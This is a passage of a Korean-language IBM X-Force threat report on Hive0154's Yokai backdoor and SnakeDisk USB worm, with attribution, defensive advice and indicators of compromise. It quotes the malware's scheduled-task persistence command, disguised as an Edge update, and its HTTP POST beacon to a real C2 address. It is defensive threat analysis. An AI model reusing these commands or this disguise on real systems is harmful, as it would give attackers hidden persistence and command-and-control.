DLL 페이로드는 Yokai 백도어로 식별되었으며, Netskope는 2024년 12월에 보고했습니다. 실행 시 멀웨어는 먼저 "-project-mod" 인수를 확인한 다음 사용자가 관리자 그룹의 구성원이 아닌 경우 예약된 작업을 통해 지속성을 설정합니다.

cmd.exe /c schtasks /create /f /sc MINUTE /MO 5 /tn
"MicrosoftEdgeAcModuleUpdateTask" /tr "<path> -project-mod"

계속해서 새 뮤텍스 "k1tpddvivh74fo1et725okr1c1"을 만들고 내부 구성 구조를 초기화합니다. SnakeDisk가 삭제한 변형에는 버전 문자열 "1.0.0"이 포함되어 있으며 HTTP POST 요청을 통해 하드코딩된 C2 서버에 도달합니다.

POST /kptinfo/import/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: WinHTTP Example/1.0
API-INDEX: 0
Accept-Connect: 0
Content-Length: 156
Host: 118.174.183[.]89
<encrypted data>

Netskope의 분석에 설명된 바와 같이, Yokai는 익명 파이프를 통해 리버스 셸을 생성하여 운영자가 감염된 시스템에서 임의의 명령을 실행할 수 있도록 하는 데 사용됩니다. 

흥미롭게도 Yokai는 Pubload/PubShell 및 ToneShell과 같은 Hive0154에 기인한 다른 백도어 제품군과 겹침을 보여줍니다. 이러한 제품군은 분명히 별개의 멀웨어이지만, 대략 동일한 구조를 따르고 유사한 기술을 사용하여 C2 서버와 리버스 셸을 설정합니다.

Tonedisk와 중복

또한 X-Force 분석 결과, SnakeDisk와 Tonedisk 사이에 강력한 중복성이 있는 것으로 나타났습니다. 수년에 걸쳐 Hive0154와 관련된 여러 USB 웜 제품군이 있었습니다. X-Force는 구현 시 Toneshell 제품군과 밀접하게 관련된 변종을 Tonedisk로 추적합니다. 지금까지 3개의 주요 Tonedisk 버전(A, B, C)이 확인되었습니다. 각 Tonedisk 버전은 USB 웜의 전체 기능을 구성하는 다양한 악성 구성 요소의 모음입니다. 이 구성 요소에는 런처, 로더, 스프레더, 암호화된 파일, 설치 프로그램, 백도어 등이 포함됩니다.

SnakeDisk는 2023년 중반에 Checkpoint에서 WispRider로 보고한 ToneDisk A 변종과 특히 겹칩니다. 멀웨어의 USB 전파 메커니즘, API 해싱 및 구성 파일은 모두 Hive0154 하위 클러스터가 서로 멀웨어를 공유하고 용도를 변경하는 것으로 알려진 경향과 일치하는 몇 가지 유사점을 보여줍니다. 

속성

X-Force는 Hive0154 우산 클러스터에서 이 보고서의 활동을 추적하며, 이는 Mustang Panda, Stately Taurus, Camaro Dragon, Twill Typhoon, Polaris, TEMP.Hex 및 Earth Preta로 게시된 활동과 부분적으로 겹칩니다. 이 그룹은 상당히 큰 규모의 멀웨어 생태계를 유지하고 있는 것으로 보이며, 악성 코드, 공격 시 사용된 기술, 타겟팅 공격 모두에서 자주 중복되는 경우가 많습니다. X-Force는 더 큰 상위 클러스터 내에서 최소 3개의 하위 클러스터를 낮은 신뢰도로 분리하며, 각 클러스터는 중앙 멀웨어 변종 PlugX, Toneshell 및 Pubload 중 하나와 연결되어 있습니다. 특히, 각 멀웨어 변종은 서로 다른 USB 웜 프레임워크 및 하나 이상의 관련 로더 멀웨어 변종과 짝을 이루며 더 자주 변경됩니다. 동일한 로더가 동일한 기간 내에 ToneShell 또는 Pubload와 같은 다른 페이로드에 사용될 수 있습니다. 그러나 활동의 클러스터링이 별도의 하위 그룹으로 운영되고 있음을 자동으로 나타내는 것은 아니라는 점에 유의해야 합니다. 

SnakeDisk 및 Yokai 백도어의 사용과 관련된 활동은 Hive0154의 추가 하위 클러스터를 나타낼 수 있습니다. SnakeDisk 및 Netskope 보고의 IP 지리적 위치 확인에서 알 수 있듯이 현재 주로 태국을 대상으로 하는 것으로 보입니다. 

결론

Hive0154는 활성 하위 클러스터가 여러 개 있고 개발 주기가 빈번하여 여전히 유능한 위협 행위자입니다. X-Force는 Hive0154와 같이 중국과 연계된 그룹이 대규모 멀웨어 무기를 계속 개선하고 전 세계 공공 및 민간 조직을 표적으로 삼을 것이라고 높은 확신을 가지고 평가합니다. 위의 보고서에서 논의된 멀웨어는 아직 개발 초기 단계일 가능성이 높기 때문에 방어자는 널리 사용되기 전에 탐지 메커니즘을 채택할 수 있습니다. Hive0154 스파이 활동의 위험에 처한 기업은 강화된 방어 보안 상태를 유지하고 이 보고서에 언급된 기술에 대해 경계를 늦추지 않고 다음 권장 사항을 검토해야 합니다.

  • Google 드라이브, Box 클라우드 스토리지 또는 Dropbox 다운로드 링크가 포함된 이메일이나 PDF에는 주의를 기울이세요.
  • 다운로드한 아카이브에 예상 문서가 포함되어 있더라도 주의하세요. 예상치 못한 파일 확장자를 표시하고 인식하도록 직원을 교육합니다.
  • Pubload 또는 ToneShell 비콘의 표시로 이전 TLS 핸드셰이크 없이 TLS 1.2 애플리케이션 데이터 패킷(헤더: 17 03 03)을 네트워크에서 모니터링하고 헌팅합니다.
  • USB 웜에 감염된 디바이스를 나타낼 수 있는 의심스러운 실행 파일 이름, DLL 및 숨겨진 디렉토리가 포함된 USB 드라이브를 모니터링하고 찾아냅니다.
  • C:\ProgramData\에서 DLL 사이드로딩에 취약한 합법적인 EXE와 해당 DLL이 포함된 의심스럽거나 알 수 없는 디렉토리를 모니터링하고 검색합니다.
  • 레지스트리와 예약된 작업 내에서 지속성 기법을 모니터링하고 탐색합니다
  • 이 보고서에 자세히 설명된 프로세스, 네트워크 트래픽 및 IoC를 찾아봅니다.
  • 악성 DLL을 사이드로드하는 무해해 보이는 프로세스 실행 파일에서 발생하는 비정상적인 네트워크, 지속성 또는 파일 수정 활동을 모니터링합니다.

침해 지표

지표

지표 유형

컨텍스트

f8b28cae687bd55a148d363d58f1
3a797486f12221f0e0d080ffb53611
d54231

SHA256

ToneShell8을 제공하는 무기화된 아카이브

8132beeb25ce7baed0b561922d26
4b2a9852957df7b6a3daacfbb3a9
69485c79

SHA256

ToneShell8을 제공하는 무기화된 아카이브

d1466dca25e28f0b7fae71d5c2abc0
7b397037a9e674f38602690e96cc5
b2bd4

SHA256

ToneShell8을 제공하는 무기화된 아카이브

1272a0853651069ed4dc505007e85
25f99e1454f9e033bcc2e58d60fdaf
a4f02

SHA256

ToneShell8을 제공하는 무기화된 아카이브

b8c31b8d8af9e6eae15f30019e39c
52b1a53aa1c8b0c93c8d075254ed
10d8dfc 

SHA256

ToneShell7을 제공하는 무기화된 아카이브

7087e84f69c47910fd39c3869a70
6e55324783af8d03465a9e7bfde
52fe4d1d6 

SHA256

Pubload를 제공하는 무기화된 아카이브

38fcd10100f1bfd75f8dc0883b0c
2cb48321ef1c57906798a422f2a2
de17d50c 

SHA256

Pubload를 제공하는 무기화된 아카이브

69cb87b2d8ee50f46dae791b5a0
c5735a7554cc3c21bb1d989baa0f3
8c45085c

SHA256

무기화된 아카이브의 다운로드 URL이 포함된 PDF

564a03763879aaed4da8a8c1d60
67f4112d8e13bb46c2f80e0fcb9ffd
d40384c

SHA256

ToneShell7을 주입하는 로더

e4bb60d899699fd84126f9fa0df
f72314610c56fffca3d11f3b6fc93fc
b75e00 

SHA256

Pubload를 주입하는 로더

c2d1ff85e9bb8feb14fd015dceee1
66c2e52e2226c07e23acc348815
c0eb4608 

SHA256

Pubload를 주입하는 로더

188.208.141[.]196

IPv4

Pubload C2 서버

bdbc936ddc9234385317c4ee83
bda087e389235c4a182736fc597
565042f7644

SHA256

ToneShell8 백도어

f0fec3b271b83e23ed7965198f3b
00eece45bd836bf10c038e99106
75bafefb1

SHA256

ToneShell8 백도어

e7b29611c789a6225aebbc9fee37
10a57b51537693cb2ec16e2177c22
392b546

SHA256

ToneShell8 백도어

9ca5b2cbc3677a5967c448d9d21
eb56956898ccd08c06b372c6471f
b68d37d7d

SHA256

ToneShell8 백도어

146.70.29[.]229

IPv4

ToneShell7/ToneShell8 C2 서버

318a1ebc0692d1d012d20d306
d6634b196cc387b1f4bc38f97d
d437f117c7e20

SHA256

ToneShell9 백도어

0d632a8f6dd69566ad98db56
e53c8f16286a59ea2bea81c2761
d43b6ab4ecafd

SHA256

ToneShell9을 제공하는 무기화된 아카이브

39e7bbcceddd16f6c4f2fc2335a
50c534e182669cb5fa90cbe29e
49ec6dfd0df

SHA256

ToneShell9을 제공하는 무기화된 아카이브

05eb6a06b404b6340960d7a6
cf6b1293e706ce00d7cba9a8b7
2b3780298dc25d

SHA256

ToneShell9의 기반이 된 ToneShell 포크가 포함된 로더

123.253.34[.]44

IPv4

Toneshell9 C2 서버

www.slickvpn[.]com

도메인

Toneshell9 C2 서버

dd694aaf44731da313e4594d
6ca34a6b8e0fcce505e39f827
3b9242fdf6220e0

SHA256

SnakeDisk USB 웜

bb5bb82e5caf7d4dbbe878b7
5b23f793a5f3c5ca6dba70d8b
e447e8c004d26ce 

SHA256

Yokai DLL 사이드로드에 사용되는 SnakeDisk의 악성 EXE 페이로드

35bec1d8699d29c27b66e564
6e58d25ce85ea1e41481d048b
cea89ea94f8fb4b 

SHA256

Yokai 백도어 DLL

http://118.174.183[.]89/kptinfo
/import/index.php

URL

Yokai C2 서버

이제 Filigran의 OpenCTI와 IBM X-Force 프리미어 위협 인텔리전스를 통합하여 이 위협 활동 등에 대한 실행 가능한 위협 인텔리전스를 제공합니다. 위협 행위자, 멀웨어 및 산업 위험에 대한 인사이트에 액세스하세요. 탐지 및 대응 능력을 강화하고 IBM X-Force의 전문 역량으로 사이버 보안을 강화하기 위해 X-Force OpenCTI Connector를 설치하세요. 지금 X-Force Premier Threat Intelligence 30일 평가판을 이용해 보세요!

관련 솔루션
위협 관리 서비스

최신 위협을 예측하고 예방하며 대응해 비즈니스 탄력성을 높이세요.

 

위협 관리 서비스 살펴보기
위협 탐지 및 대응 솔루션

IBM 위협 탐지 및 대응 솔루션을 활용하여 보안을 강화하고 위협 탐지를 가속화하세요.

위협 탐지 솔루션 살펴보기
모바일 위협 방어(MTD) 솔루션

IBM MAAS360의 포괄적인 모바일 위협 방어 솔루션으로 모바일 환경을 보호하세요.

모바일 위협 방어 솔루션 살펴보기
다음 단계 안내

포괄적인 위협 관리 솔루션을 확보하여 사이버 공격으로부터 비즈니스를 효과적으로 보호하세요.

  1. 위협 관리 서비스 살펴보기
  2. 위협 중심 브리핑 예약하기